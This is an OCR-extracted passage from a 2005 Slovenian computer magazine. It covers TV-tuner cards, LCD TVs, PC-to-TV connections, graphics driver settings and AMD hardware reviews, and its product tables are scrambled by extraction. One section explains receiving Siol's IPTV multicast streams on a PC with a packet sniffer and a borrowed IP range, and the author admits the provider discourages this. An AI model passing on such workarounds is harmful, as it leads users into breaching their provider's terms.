da je Siol tudi uradno lastnik naprav, ki jih uporabljate za spremljanje ADSL TV, pač lahko prepovejo določeno uporabo naprav. In če se lotite
sprememb, ki jih odsvetujejo, pač odgovarjate za
vse neprijetnosti, ki vas lahko ali pa tudi ne doletijo. Sam postopek priključitve ni prav zapleten,
pa čisto brez hakeljcev tudi ni. Pa poglejmo, kako
to počno tisti, ki zadevo že lep čas uporabljajo.
Najprej potrebujte program VLC Media Player, ki ga boste našli tudi na našem CD-ju. Gre
za video strežniški program, ki vam bo omogočal tako sprejemanje Siolovih TV-kanalov na
vašem domačem računalniku, pa tudi pošiljanje
slike, recimo DivX-filmov, predvajanih na vašem računalniku na domači TV-zaslon kar prek
komunikatorja (set top box). Naslednji korak

VIDEO KARTICE
Proizvajalec
in ime modela
Informacije
Spletni naslov
Cena
Tehnični podatki
Vodilo
Strojno kodiranje
Daljinski upravljalnik
Teletekst
Radio
Možnosti

Avdio/video priključki

Število kanalov
Drugi dodatki

52

Pinnacle
Pinnacle
Pinnacle
MediaCenter PCTV MediaCenter PCTV MediaCenter PCTV
PMC 100i
300i (DVB-TV)
100e
Zak, d.o.o.
Zak, d.o.o.
Zak, d.o.o.

PCTV
USB2

Pinnacle
PCTV Stereo

Pinnacle
PCTV rave

Pinnacle
PCTVpro

Pinnacle
PCTV Deluxe

Pinnacle
PCTV Sat (DVB-TV)

Zak, d.o.o.

Zak, d.o.o.

Zak, d.o.o.

Zak, d.o.o.

Zak, d.o.o.

Zak, d.o.o.

www.pinnaclesys.com

www.pinnaclesys.com

www.pinnaclesys.com

www.pinnaclesys.com

www.pinnaclesys.com

www.pinnaclesys.com

www.pinnaclesys.com

www.pinnaclesys.com

www.pinnaclesys.com

20.400 SIT

34.800 SIT

28.600 SIT

25.000 SIT

17.400 SIT

12.000 SIT

24.000 SIT

48.000 SIT

36.600 SIT

PCI
ni podatka
da
da
ne
ogled, snemanje,
časovni zamik

PCI
ni podatka
da
da
ne
ogled, snemanje,
časovni zamik

USB 2.0
ni podatka
da
da
ne
ogled, snemanje,
časovni zamik

USB 2.0
MPEG 1 in 2
da
da
ne
ogled, snemanje,
časovni zamik

PCI
MPEG 1 in 2
da
da
ne
ogled, snemanje,
časovni zamik

PCI
ne
ne
da
ne
ogled, snemanje

PCI
MPEG 1 in 2
da
da
ne
ogled, snemanje,
časovni zamik

USB 2.0
MPEG 1 in 2
da
da
ne
ogled, snemanje,
časovni zamik

PCI
MPEG 1 in 2
da
da
da
ogled, snemanje,
časovni zamik

antenski vhod,
antenski vhod,
antenski vhod,
antenski vhod,
antenski vhod,
antenski vhod,
antenski vhod, antenski, S-video antenski, S-video,
S-video vhod,
S-video vhod,
S-video vhod,
S-video vhod,
S-video vhod,
S-video vhod,
S-video vhod,
vhod, kompozitni kompozitni (RCA),
kompozitni (RCA) kompozitni (RCA) kompozitni (RCA) kompozitni (RCA) kompozitni (RCA) kompozitni (RCA) kompozitni (RCA) (RCA) vhod, stereo
stereo
vhod, stereo vhod vhod, stereo vhod vhod, stereo vhod vhod, stereo vhod vhod, stereo vhod vhod, stereo vhod vhod, stereo vhod vhod in izhod,
priključek za LCD
monitor, projektor
ni podatka
ni podatka
ni podatka
ni podatka
ni podatka
ni podatka
ni podatka
ni podatka
ni podatka

MOJ MIKRO 1 JANUAR 2005

TEMA MESECA
PC TV
je omrežna priključitev računalnika v stikalo
(switch), kjer je priključen tudi komunikator.
Ker se tok video podatkov (video stream) oddaja
v vse vhode na stikalu (multicast) ni potrebno
posebno usmerjanje. Ko je to opravljeno, je treba
ponovno zagnati komunikator in pognati omrežnega ali paketnega vohljača (sniffer). Ta bo poiskal IP vašega komunikatorja. IP je navadno
nekje v razredu 10.46.xx.xx ali 10.2x.xx.xx. Ko
program najde IP, si nastavite IP iz istega razreda,
maska je 255.255.0.0 in prehod 10.26.0.1. Ko je
vse pripravljeno, poženite VLC in v programu v
nastavitev omrežnega vmesnika vpišete IP, kot
ste ga uporabili za svojo omrežno kartico.
Nato v VLC/File/Open network stream/ označite udp/rtp multicast in vnesete IP kanala.

['SLO1','239.255.0.1:5002',0,'RTV Slovenija 1',1,''],
['SLO2','239.255.0.2:5002',0,'RTV Slovenija 2',2,''],
['Kanal A','239.255.0.51:5002',0,'',3,''],
['Pop TV','239.255.0.52:5002',0,'',4,''],
['HRT1','239.255.0.40:5002',0,'Hrvatska Televizija I.',5,''],
['HRT2','239.255.0.63:5002',0,'Hrvatska Televizija II.',6,''],
['HRT3','239.255.0.137:5002',0,'Hrvatska Televizija III.',7,''],
['TV3','239.255.0.124:5002',0,'',17,''],
['MTV 1','239.255.0.84:5002',0,'Music Television',21,''],
['Pink Plus','239.255.0.45:5002',0,'Pink TV Plus',47,''],
['Teve Pika','239.255.0.92:5002',0,'',65,''],
Podrobneje o vseh nastavitvah boste izvedeli
na forumu na Siolovi spletni strani. Sam vam
namerno ne dajem natančnejših navodil, saj je
početje sporno in ne želim odgovarjati za vaše
morebitne težave. Zanimivo pa je, da Siol kljub
vsemu dopušča debate na to temo prav na svojem forumu. Morda pa le želijo vsaj okvirno vedeti, kaj vse uspejo njihovi uporabniki iztisniti iz
njihovih napravic.

JE NADGRADNJA PC-JA
LAHKO NADOMESTEK ZA TV IN VCR?

Siol TV
Potreben je še seznam kanalov. Nekaj jih je
v spodnjem seznamu, natančnejšega pa lahko
najdete v kar nekaj slovenskih forumih, kjer se
ukvarjajo s to tematiko.

Pinnacle
PCTV Sat CI
(DVB-TV)
Zak, d.o.o.

Pinnacle
PCTV Sat Kit
(DVB-TV)
Zak, d.o.o.

www.pinnaclesys.com

www.pinnaclesys.com

43.200 SIT

45.600 SIT

PCI
MPEG 2
da
da
da
ogled, snemanje,
časovni zamik

PCI
MPEG 2
da
da
da
ogled, snemanje,
časovni zamik

* Podatki na spletnih
straneh proizvajalcev
in prodajalcev so zelo
pomanjkljivi, zato je
prava primerjava izdelkov
otežena.

KAKO POVEZATI RAČUNALNIK
IN TV-SPREJEMNIK

antenski, S-video, antenski vhod,
kompozitni (RCA), S-video vhod,
stereo
kompozitni (RCA)
vhod, stereo vhod

Priključki
ni podatka
ni podatka
možnost satelitmožnost satelitskega interneta in skega interneta in
kartica za plačljive kartica za plačljive
programe
programe, satelitska
antena in ves pribor,
potreben za montažo

Prav gotovo. Še zlasti če imate manjše stanovanje, v katerem ni prostora za odvečne naprave, in
premorete tudi nekoliko večji monitor. Seveda pa
tudi drugače. Pač ne bo takšna izbira nuja, temveč
bodo temu botrovali drugi razlogi. Primerna TVkartica z daljinskim upravljalnikom in dovolj velik
LCD- ali CRT-računalniški zaslon sta dobra zamenjava za televizor. Tako lahko enako kot pri klasičnem televizorju vse upravljate kar iz naslanjača.
Uporaba je pač udobna, kolikor je to mogoče. Nič
manj in nič bolj kot pri klasičnem televizijskem
sprejemniku. Dodatna možnost je prav gotovo
snemanje programov v domači računalnik. Edina
pomanjkljivost je zasedenost računalnika, ko želite
gledati televizijski program v celozaslonskem načinu. Takrat je pač nemogoče kaj pametnega početi z
domačim računalnikom. Sicer pa, ko gledate televizijo le malokdaj počenete še kaj drugega.

Brezžična
povezava

Za potrebe ogleda televizijskega sporeda na
domačem računalniku zadeva sicer ni potrebna,
je pa potrebna zaradi predvajanja filmov na televizorju. Če imamo v računalnik vdelan TV-sprejemnik, lahko na domači televizor speljemo tudi
posamezen TV-kanal iz računalnika. In zakaj
bi to počeli, če tako sedimo pred televizorjem?
Hja, recimo, da imate TV-sprejemnik, ki omogoča sliko v sliki in premore le en sprejemnik.
Takrat lahko kot vir signala za pomanjšano sliko
uporabite tudi sliko iz računalnika. Ali pa želimo
posneti televizijski spored na domačem računalniku, pa nimamo vdelane TV-kartice. Tudi tako
preprosto je lahko vaš domači računalnik nekoliko modernejši videorekorder. Saj to smo že
vse opisovali. Ker pa je tema
vedno bolj aktualna in tudi
na naš naslov prihaja vse
več tovrstnih vprašanj, bom
zadevo ponovno pojasnil.
Grafične kartice imajo
navadno TV-izhod v obliki

priključka S-video. Pa ne samo grafične kartice,
tudi samostojne TV-kartice in podobne zunanje naprave ga imajo. Zadnje čase tukaj ni razlike med domačimi računalniki in prenosniki,
saj tudi slednji ponujajo isto možnost. Vse kar
je potrebno, sta kabel S-video in ustrezni priključek na TV-sprejemniku. Če tega ni, potem
je še vedno mogoče uporabiti adapter S-video/
SCART, ki je na voljo v tehničnih trgovinah že
za nekaj sto tolarjev. Seveda je treba do TV-sprejemnika pripeljati tudi zvok iz računalnika. Priključke najdete na zadnji strani računalnika, kjer
so navadno priključeni zvočniki, ali pa uporabite
izhod za slušalke na zvočnikih. Druga stran avdio
kabla gre seveda v priključek SCART.
Drug način povezave računalnika in TV-sprejemnika je z napravami za brezžično povezavo.
Tudi tukaj ne bo šlo brez povezovalnih kablov.
Različne naprave pa imajo tudi nekoliko drugačne zahteve po priključnih kablih, le da so ti zelo
kratki, v glavnem pa jih dobite pri nakupu naprave. Glavno razdaljo premosti brezžična naprava. Različne naprave pa so seveda tudi različno
kakovostne. V glavnem ni težav pri povezavah,
kjer se sprejemni in oddajni del tudi optično »vidita«. Se pravi, v istem prostoru bo zadeva lahko
izvedljiva. Takšna povezava v drug prostor pa dobro deluje v zelo redkih primerih, kar pa je odvisno od same gradnje prostorov. Različna struktura
zidu pomeni različno oviro brezžičnim napravam.
Moči oddajnikov so majhne, saj so naprave predvidene za uporabo v enem prostoru.
Sama povezava ne bo težavna, saj je napravam
navadno priložena natančna shema, kako in kje
in kaj povezati.
Zvok pa je mogoče povezati tudi na hišne avdio naprave. Tukaj je seveda odvisno, kaj naprava omogoča, pa tudi kakšne izhode ima vdelana
vaša zvočna kartica. Nekatere zvočne kartice so
omejene na stereo izhod, druge spet omogočajo
koaksialni ali optični digitalni izhod. Izberete
pač najboljšega ali še prostega in povežete z avdio
napravo. Le pri digitalni povezavi pa boste imeli
tudi možnost izkoriščanja prostorskega zvoka ali
njegovega ponaredka.
Enako, le obratno je mogoče povezati televizijski sprejemnik z računalnikom. Seveda povežete avdio in video izhode televizorja z avdio in
video vhodi računalnika. Če povežete oboje, pa
imate prav vse možnosti prenosa signala iz računalnika v televizor in obratno. Tako lahko gledate filme iz računalnika na televizijskem zaslonu,
ali pa film, ki ga sprejema televizijski sprejemnik,
posnamete v DivX ali drugem formatu.

GRAFIČNI GONILNIKI

Pri povezavi računalnika in televizijskega sprejemnika pa se veselje ne konča pri povezovalnih
kablih. Večje »zabave« boste deležni pri nastavljanju gonilnikov in njihovem prepričevanju,
naj vendarle pokažejo celozaslonsko sliko na
televizorju, čeprav boste na računalniku počeli
kaj drugega. Recimo brskali po spletu ali opravljali zaostalo delo.
In ker sta na trgu le še dva pomembnejša proizvajalca grafičnih kartic, ATI in nVidia, je s tem
tudi manj različnih grafičnih gonilnikov. Ti ponuMOJ MIKRO 1 JANUAR 2005

53

TEMA MESECA
PC TV
jajo vrsto nastavitev, ki tako ali drugače izboljšajo
delovanje grafičnih kartic, ali preprosto aktiviramo
določeno možnost, ki jo trenutno potrebujemo.
Tokrat se bomo posvetili nastavitvam grafičnih
gonilnikov za ogled filmov na TV-zaslonu. Danes praktično vse grafične kartice, tudi cenejše,
premorejo TV-izhod. Ta je namenjen ogledu filmov na TV-zaslonu. Ker je v naših računalnikih
vse več DivX- in DVD-filmov, je, razumljivo, vse
pogostejša tudi želja po njihovem ogledu na nekoliko večjem zaslonu. Večini uporabnikov sicer
uspe brez večjih težav nastaviti gonilnike tako,
da je to mogoče, veliko pa jih spregleda najzanimivejšo možnost, ki jo novi gonilniki ponujajo
že nekaj časa: ogled filma na TV-zaslonu, med
tem ko z domačim računalnikom počnemo druge reči. Zadeva je pomembna iz dveh razlogov.
Prvi je seveda ta, da računalnik ni »onesposobljen« s predvajanjem filma, drugi pa je udobje.
Gonilniki omogočajo celozaslonski prikaz filma
na TV-zaslonu, tudi ko je sam program za predvajanje filma na računalniku pomanjšan. Tudi ni
več treba spreminjati ločljivosti namizja, da bi
bila velikost predvajanega filma prilagojena na
skromnejšo ločljivost TV-zaslonov. Pa poglejmo,
kako to narediti pravilno pri ATI-jevih in nVidiinih gonilnikih.

Nastavljanje gonilnikov

Prvi korak je pri obeh podjetjih enak. Kazalec
miške je treba postaviti na katerikoli del namizja,
pritisniti desni miškin gumb in iz menija izbrati
Lastnosti, ki so vedno na dnu menija. Odpre se
okno z nekaj lističi. Skrajno desni je poimenovan Nastavitve in tega želimo aktivirati. Novo
pogovorno okno je namenjeno spreminjanju
ločljivosti zaslona oziroma navadno kar dveh.
Od tukaj pa ne moremo postoriti vsega, kar želi-

mo. Pritisniti je treba gumb z imenom Dodatno,
najdemo pa ga v desnem spodnjem koncu okna.
Od tukaj naprej pa se zgodbi precej razlikujeta.
Pa poglejmo.

ATI

Gonilniki podjetja ATI z imenom Catalyst so
po mnogočem preprostejši od svojih konkurentov,
zato pa je videti, kot bi ponujali manj možnosti. Do
neke mere je to še vedno res, v resnici pa so gonilniki samo nekoliko bolje prilagojeni povprečnemu
uporabniku, ki ne želi kopice možnosti, ki jih ne bo
ne potreboval ne razumel. Tako je na voljo popolnoma dovolj možnosti, le da so te prikazane preprosteje, z izbiro posameznih pa se navadno hkrati
spremeni več parametrov. Podjetje se seveda še
kako dobro zaveda, kaj potrebuje povprečen uporabnik, in to ponudi na najpreprostejši način.
Če smo pravilno izbrali vse opisano v prvem
poglavju, so pred nami grafični gonilniki v obliki
okna z večjim številom lističev. Najprej je treba izbrati listič Displays (tudi v poslovenjenem
Windows). Odpre se okno, v katerem so vrisani
zasloni.
Odvisno od tega, kaj je dejansko priključeno
v vaš računalnik, bodo ti zasloni lepo obarvani.
Sivi in neugledni
so tisti, ki trenutno niso priključeni.
Torej je pred opravilom treba poskrbeti
za povezavo med
TV-izhodom vaše
grafične kartice in
TV-sprejemnikom.
Gumb na levem
robu ustrezne slike je
lahko obarvan zele-

no ali rdeče. Če je rdeč, ga je treba pritisniti in s
tem omogočiti dvozaslonsko delovanje grafične
kartice. Ob slikah zaslonov sta vedno dve modri ikoni. Prva v obliki pike in krožca in druga v
obliki dveh pravokotnikov. Prvi znak je za izbiro
prvega (primarnega) zaslona, drugi pa za izbiro
drugega (sekundarnega) zaslona. Prvi zaslon je
vedno računalniški monitor. Zdaj vključite TVsprejemnik in izberite ustrezen video vhod in
že bo slika namizja tudi na TV-zaslonu. No, če
imate srečo, sicer pa je treba še kaj nastaviti.
Ob pritisku na napis TV se bo odprlo novo
okno, v katerem ponovno najdemo nekaj lističev. Najbolje je začeti s skrajno desnim, kjer je
treba izbrati našo državo in format PAL-B ali
PAL-G.
Bistvene razlike
ni, čeprav je v navadi izbrati PAL-B.
Drugi listič z desne
ponuja nekaj možnosti nastavitev kakovosti slike, kar pač
nastavite tako, da
bo slika kakovostna,
navadno pa je dovolj vse postaviti na
Standard.
Naslednji list proti levi omogoča spreminjanje
velikosti in položaja slike na TV-zaslonu. Zanimiva možnost je Overscan. Če se vam na TVzaslonu pojavi na katerem od robov popačena
slika, boste s to možnostjo sliko toliko povečal,
da se bodo nepravilnosti skrile za vidni rob zaslona. Na prvem lističu z leve pa nastavimo le še
kontrast in nasičenost z barvami in delo je tukaj
opravljeno.
Drugi osnovni listič v gonilnikih, ki nas za-

LCD-MONITORJI S TV-SPREJEMNIKOM
Proizvajalec in
ime modela

LCD TV Philips
Samsung
Samsung
Samsung LG L173ST + TV Hyundai L17T Hyundai L19T Hansol HW 1710
Prestigio
17”
SM710MP MM SM730MP MM SM510MP MM
P170T
+ TV tuner
+ TV tuner
+ TV tuner
Avtera, d.o.o. Avtera, d.o.o. Avtera, d.o.o. Avtera, d.o.o. Comtron, d.o.o. E-misija, d.o.o. E-misija, d.o.o. Acord-92, d.o.o. RoLAN, d.o.o.

Informacije
www.philips.com
Spletni naslov:
Cena
174.788 SIT
Tehnični podatki
Velikost diagonale 17” (43 cm)
Ločljivost
1280 x 768
Barvna globina
32-bitna
Zvočniki
12W stereo
Zorni kot
170 / 170
Daljinski
da
upravljalnik
Mere in teža
517 x 301
x 65 mm;
5,6 kg
Vmesniki
antenski vhod, 2
x komponentni
in kompozitni
avdio/video
vhod in izhod, 2
x S-VGA vhod,
VGA vhod, izhod
za bas zvočnik,
izhod za slušalke

54

www.samsung.com www.samsung.com www.samsung.com

www.lge.com

Prestigio
P172W

Prestigio P190T

RoLAN, d.o.o.

RoLAN, d.o.o.

www.hyundaiq.com www.hyundaiq.com www.hansol-uk.com www.prestigio.com www.prestigio.com www.prestigio.com

125.640 SIT

177.720 SIT

119.880 SIT

116.284 SIT

124.200 SIT

158.484 SIT

199.900 SIT

136.990 SIT

139.990 SIT

177.300 SIT

17” (43 cm)
1280 x 1024
32-bitna
1.5 W stereo
150 / 120
ni podatka

17” (43 cm)
1280 x 1024
32-bitna
5 W stereo
140 / 140
ni podatka

15”
1024 x 768
32-bitna
1.5 W stereo
150 / 120
ni podatka

17”
1280 x 1024
32-bitna
stereo
160 / 160
ni podatka

17”
1280 x 1024
32-bitna
2W stereo
170 / 170
da

19”
1280 x 1024
32-bitna
2 W stereo
170 / 170
da

17”
1280 x 768
32-bitna
2,5 W stereo
120 / 90
da

17”
1280 x 1024
32-bitna
2 W stereo
140 / 140
ne

17”
1280 x 1024
32-bitna
2 W stereo
170 / 170
da

19”
1280 x 1024
32-bitna
2 W stereo
170 / 170
ne

389 x 402
496 x 378
x 206 mm;
x 170 mm;
5,8 kg
5,7 kg
antenski, anaanalogni,
logni in S-Video Digitalni, CVBS,
vhod
S-Video in
Avdio vhodi,
WiseLink

MOJ MIKRO 1 JANUAR 2005

355x358x184
mm; ni podatka
o teži
antenski, analogni in S-Video
vhod

474,5 x 447,7 372 x 395
420 x 441
ni podatka
438 x 486
139,5 x 325
420 x 441
x 115.2 mm;
x 185mm;
x 185 mm;
x 160 mm;
x 525 mm;
x 185 mm;
6,6 kg
4,6 kg
6,2 kg
6,1 kg
6,8 kg
6,2 kg
antenski, ana- antenski, ana- antenski, ana- antenski, ana- antenski, ana- antenski, ana- antenski in
logni, DVI-D, logni, S-Video, logni, S-Video, logni in avdio logni, S-Video, logni, S-Video analogni vhod
CVBS, SVHS, kompozitni in kompozitni in vhod, SCART kompozitni in
vhod
HDTV
avdio vhod
avdio vhod
in H/P izhod
avdio vhod

* Pri izboru izdelkov za tabelo smo se omejili na LCD TV-naprave, pri katerih je uporaba kot računalniškega monitorja še smiselna.
Pri nekaterih modelih z večjimi zasloni je ločljivost preprosto premajhna, da bi bila uporaba za delo z računalnikom še smiselna.

TEMA MESECA
nima, se imenuje
Overlay. Odpre se
okno z nekaj drsniki, ki vam pomagajo
do boljše slike, najpomembnejši
del
pa je okenček na
dnu okna z imenom
Theatre mode. Ko
označite tega, bo ne
glede na velikost okna s filmom na računalniškem zaslonu na TV-zaslonu vedno film prikazan
prek vsega zaslona.
Delo je opravljeno
in že lahko uporabljate vse dobrote, ki
jih gonilnik omogoča glede ogledov filmov na TV-zaslonu.
Kot drugod pa je
tudi tukaj »kaveljc
22«. Če opisani postopek ne obrodi želenih sadov, je treba
računalnik ponovno
pognati. Navadno je to dovolj, sicer pa zadevo
ponovite še nekajkrat, pa bo.
Pri starejših gonilnikih sta na voljo tudi izbira
TV-izhoda in določitev ločljivosti TV-sprejemnika. Kot izhod je navadno uporabljen S-video,
ločljivost TV-sprejemnika pa je 800 x 600, razen
pri televizorjih z večjo ločljivostjo. Če se pri tej
vrsti gonilnikov pojavi črno-bela slika na TV-zaslonu, je treba izbrati kompozitni izhod, četudi ni
uporabljen tak priključek. Pri novejših gonilnikih pa pomaga zgoraj omenjeni ponovni zagon,
ker te možnosti gonilniki niti ne ponujajo.

nVidia

Podjetje nVidia je glede gonilnikov skrben
gospodar. Zavedajo se, da še tako dobra grafična kartica ni piškavega boba vredna brez kakovostnih gonilnikov. Tako ponujajo široko paleto
nastavitev, kar pa je za večino uporabnikov že
precej nepregledno. Zamera tem gonilnikom gre
tudi na račun stalnega spreminjanja razporeda
nastavitev. Te se lahko v nekaj mesecih spremenijo do takšne mere, da je težko najti pravi listič,
četudi natančno veste, kaj želite. Tako je tudi
svetovanje dokaj oteženo. Zato pa so gonilniki
tudi v slovenskem jeziku, kar marsikomu olajša
brskanje. Kot pri zgornjem primeru je prvi del
postopka že opisan.
Prva zahteva pri namestitvi gonilnikov je, da
omogočite nView, sicer bodo najboljše možnosti
manjkale. V osnovnih gonilnikih, ki jih prikličemo na namizju, je pod sliko zaslonov ponujena možnost Kloniraj zaslon ali samo Clone. To
aktivira dvozaslonski prikaz. Če ne gre drugače,
je treba najprej označiti zaslon s številko 2, kar
omogoči izbor. Zadeva se nekoliko razlikuje glede na različice gonilnikov, zato nekaj zmede tudi
pri mojem opisu postopka. S pritiskom na drugi
monitor z desno miškino tipko je na voljo že od
tukaj nekaj nastavitev. Tako lahko nastavite ločljivost zaslona in osveževanje. Za TV-sprejemnik

je to navadno 800 x 600 pik pri 60 Hz hitrosti
osveževanja. Ob pritisku na gumb Dodatno v
osnovnih gonilnikih se odpre okno z gonilniki,
ob levi strani pa izbirni meni možnosti.
Če v začetnem
oknu ni bilo na voljo možnosti dvozaslonskega načina, ga
najdemo v meniju
nView.
Treba je izbrati
enako, kot je videti
na sliki. Torej dvozaslonski način, pod
katerim bo izbran
»Analogni zaslon
+ TV« ali digitalni,
pač odvisno od vašega monitorja. Pod
sliko televizorja pa
je treba izbrati še format, in sicer PAL-B.
Zdaj označite TV-zaslon (označen s številko 2) in pritisnite
tipko Nast.naprave.
Treba je izbrati
PAL in spodaj Svideo izhod. Če je
rezultat
črno-bela
slika, prestavite izbiro na kompozitni
signal, saj zadeva ni
izdelana najnatančnejše. Samodejni izbor le redko prinese
prave rezultate.
Naslednji listič
ki nas zanima, je
Upravljanje z barvami. Na njem je
mogoče
nastaviti
barvno krivuljo, svetlost, kontrast, presvetlitev in še kaj.
Najpomembnejša
možnost je v meniju
nad barvno krivuljo.
Treba je izbrati možnost Celozaslonski video.
Nastavitev je še več, opisane pa so dovolj, da
boste lahko na TV-sprejemniku videli film preko
vsega zaslona, med tem ko boste z računalnikom
počeli kaj drugega. Tudi tukaj velja pravilo iz
zgornjega primera: če kljub vsem pravilnim nastavitvam zadeva ne deluje, kot bi morala, preprosto ponovno zaženite računalnik. Navadno
pomaga.


MOJ MIKRO 1 JANUAR 2005

55

STROJNA OPREMA

preizkusili smo

URE JA : Jaka Mele jaka.mele @ mojmikro.si

Na Zahodu
nič novega MNOGO OBRAZOV AMD-JA!
AMD-jeve nove matične plošče in procesorji

V

decembrski nakupni (m)noriji sem
opazoval prodajno-marketinške
akcije zahodnih trgov (najrazvitejši
del Evrope in ZDA) ter na azijskopacifiškem koncu, kjer mi je posebej v oči
padla Japonska. Je že tako, navajeni smo,
da nove izdelke večina tehnoloških podjetij
najprej predstavi prav na Japonskem. Ta
država je očitno nekak testni zajček, poligon,
kjer so uporabniki izredno odprti do novosti in
željno sprejmejo vsak, še tako odbit elektronski
dodatek.
Med »resnejšimi napravami«, kot so mobilni
telefoni, na katere v raznih naročniških akcijah
ob večletnih zavezah »tripamo« tudi Slovenci,
je opazen tehnološki preskok med aparati, ki so
na prodaj na japonskem trgu, ter tistimi, ki so
v ponudbi po »preostalem« svetu. Povprečen
japonski mobilnik, prodan v drugi polovici leta
2004, je imel vdelano kamero z ločljivostjo
milijon in pol pik! Sicer pa so v deželi
vzhajajočega sonca že povsem običajni tudi
mobilniki z vdelanim fotografskim senzorjem
ločljivosti 3 milijone pik, v letu 2005 pa naj bi
bil predstavljen tudi prvi množično prodajan
telefon z 8 milijoni pik. In zakaj teh ni
tudi pri nas, utegnete poreči. Tudi jaz sem
se spraševal, dokler nisem iz hecnih jenov
preračunal številke v kakšno bolj domačo
valuto. Ko sem znesek preračunal drugič,
sem bil še vedno skeptičen in prepričan. da
računam po napačnem menjalnem razmerju.
Po dobrih desetih minutah preverjanja me je
presunilo. Povprečen Japonec je pripravljen za
svoj novi »fancy, super-duper« mobitel odšteti
skoraj 3000 evrov!
Božično-novoletni prazniki so izgovor
za še prenekateri prenagljen in nepotreben
nakup in tehnološke igrače vse bolj vstopajo
v to kategorijo. Čeprav regijskim in lokalnim
distributerjem lahko zamerimo vrsto stvari,
pa je treba priznati, da za nas, končne
uporabnike, opravljajo tudi hudimano
težaško delo – selekcijo. V navalu dodatkov,
priključkov, napravic in druge elektronske
krame, katere globino lahko dojamemo šele po
obisku tajvanske ali kitajske hale na Cebitu,
razumemo, da bi tudi mi zapravili še več
denarja za popolne bedarije (kot Japonci), tako
pa nas varujejo lokalni veljaki ... Slava jim!



56

MOJ MIKRO 1 JANUAR 2005

Podjetje AMD, ki kot večni Intelov tekmec zadnje čase žanje vse več uspehov, ima
podobno kot Intel trenutno v ognju kar nekaj procesorjev in, spet podobno, na kar
nekaj različnih osnovah oz. vmesnikih (ležiščih procesorja). Ogledali smo si nekaj
najnovejših matičnih plošč ter primerjali funkcije in kakovost skozi prizmo cene, v
precep pa vzeli še najnovejše procesorje.
Piše : Jaka Mele
Jaka.Mele@Mojmikro.si

V

preizkus smo dobili že Athlon 64 4000+, ki je trenutni vrh ponudbe za namizni trg. No, dražji procesor sicer obstaja – AMD FX 55, a je razlika le v
imenu in za 200 MHz višjem delovnem taktu.
Sočasno smo na test dobili tudi predstavnika
podnožja Socket 754, Sempron 3100+, medtem ko Socket A, katerega najhitrejši procesor je Sempron 2800+, počasi zamira.
Procesor Athlon 64 4000+ (prej FX-53)
ima 1 MB hitrega predpomnilnika L2, jedro procesorja pa utripa pri taktu 2,4 GHz.
V procesor je vdelan 128-bitni pomnilniški
krmilnik, ki podpira pomnilnike do PC3200
(DDR 400). Procesor je še vedno grajen z
0,13-mikronsko tehnologijo, vsebuje pa 106
milijonov tranzistorjev. Poraba procesorja ob
polni obremenitvi je 89 W.
Razlika med procesorji Athlon 64 3500+,
3800+ ter novim 4000+ je torej tudi v povečanju predpomnilnika L2 s pol na cel
megabajt. To tudi razloži, zakaj je 4000+ hitrejši od 3800+, ki sicer deluje pri isti delovni frekvenci jedra. Vsi procesorji od 3500+
do 4000+ domujejo na osnovi 939, ki med
drugim ponuja tudi dvokanalni dostop do
pomnilnika.
Sempron je nadaljevanje najcenejše družine Duron, ki zdaj združuje arhitekturo procesorjev Athlon XP in Athlon 64 (ne vsi). Modeli Sempron 2200+ do 2800+ so bili doma
na osnovi Socket A, v bistvu pa gre le za preoblečene procesorje Athlon XP z dvignjeno
hitrostjo vodila na 166 MHz. Novi Sempron
3100+, tako kot drugi, ki so na voljo le za
osnovo Socket 754, gradijo na jedru Athlon
64, vsebujejo pa le 256 KB predpomnilnika
L2 in imajo izključene 64-bitne ukaze! Procesor še vedno vsebuje vdelan pomnilniški
krmilnik z nizko latenco, vendar ta ni dvokanalni, podpira pa DDR 400. Zanimivo

– dejanski takt procesorja Sempron 2800+
je za 200 MHz višji od ure Semprona 3100+,
vendar pa testi potrjujejo prednost slednjega.
Kaj izbrati za vstopni razred? Poceni matične
plošče za Socket 754 se šele pojavljajo, za Socket A pa jih je veliko. Manjkajoče 64-bitne
ukaze pa bomo lahko objokovali šele s prihodom 64-bitnega sistema Windows.



EPoX 8KDA3+

Skupna ocena:

Razmerje cena/kakovost:

Informacije: Mlacom, d.o.o., Ljubljana
Spletni naslov: www.epox.nl
Cena: 33.240 SIT
Tehnični podatki
Vezni čip: nVidia nForce 250 GB
Osnova in CPU: AMD Socket 754, 1 CPU
Pomnilnik: 3 reže DDR400, do 3 GB
Razširitvene reže: 6x PCI, 1x AGP 8x
Funkcije: 8x vrata USB 2.0, 2x vrata FireWire,
krmilnik Serial ATA, gigabitni omrežni adapter,
osemkanalni zvok 7.1.

ZA:

Odlična cenovno ugodna plošča za procesor Athlon 64 do 3400+ (Sempron 3100+).
Šest priključkov Serial ATA omogoča veliko
perifernih naprav, hkrati pa plošča ponuja številne možnosti navijanja. Tu je tudi osemkanalni zvok z digitalnim izhodom.

PROTI: Nobenih dodatnih modulov (ko-

munikacije)

PREIZKUSILI SMO ...
AMD-jeve nove matične plošče in procesorji

MSI K8M Neo-V

Skupna ocena:

Razmerje cena/kakovost:

Informacije: E-misija, d.o.o., Ljubljana
Spletni naslov: www.msi.com.tw
Cena: 28.000 SIT
Tehnični podatki
Vezni čip: VIA K8M800, VT8237
Osnova CPU: AMD Socket 754, 1 CPU
Pomnilnik: 2 reže DDR400, do 2 GB
Razširitvene reže: 5x PCI, 1x AGP 8x
Funkcije: 8x vrata USB 2.0, 2x vrata FireWire,
krmilnik Serial ATA, omrežni adapter 10/100, šest
kanalni zvok 5.1, integrirana grafika

ZA:

Poceni plošča za procesor Athlon 64 do
3400+ ali Sempron 3100+ in naprej. Grafika
je solidna, hkrati pa reža AGP ponuja prostor
za nadgradnjo.

PROTI: Za to ceno nič.

MSI K8N
Neo Platinum

Skupna ocena:

Razmerje cena/kakovost:

Informacije: E-misija, d.o.o., Ljubljana
Spletni naslov: www.msi.com.tw
Cena: 33.500 SIT
Tehnični podatki
Vezni čip: Nvidia nForce3 250GB
Osnova in CPU: AMD Socket 754, 1 CPU
Pomnilnik: 3 reže DDR400, do 3 GB
Razširitvene reže: 5x PCI, 1x AGP 8x
Funkcije: 8x vrata USB 2.0, 2x vrata FireWire,
krmilnik Serial ATA, gigabitni omrežni adapter,
osemkanalni zvok 7.1, komunikacijska reža

ZA: Solidna in hitra plošča za procesor At-

hlon 64 do 3400+ ali Sempron 3100+ in naprej. Kopica dodatnih funkcij, kot so BuzzFree,
LifePro, PowerPro in Speedster, olajša delo.

PROTI: Ni priloženega komunikacijskega

modula.

MSI K8N Neo-2

Skupna ocena:

Razmerje cena/kakovost:

Informacije: E-misija, d.o.o., Ljubljana
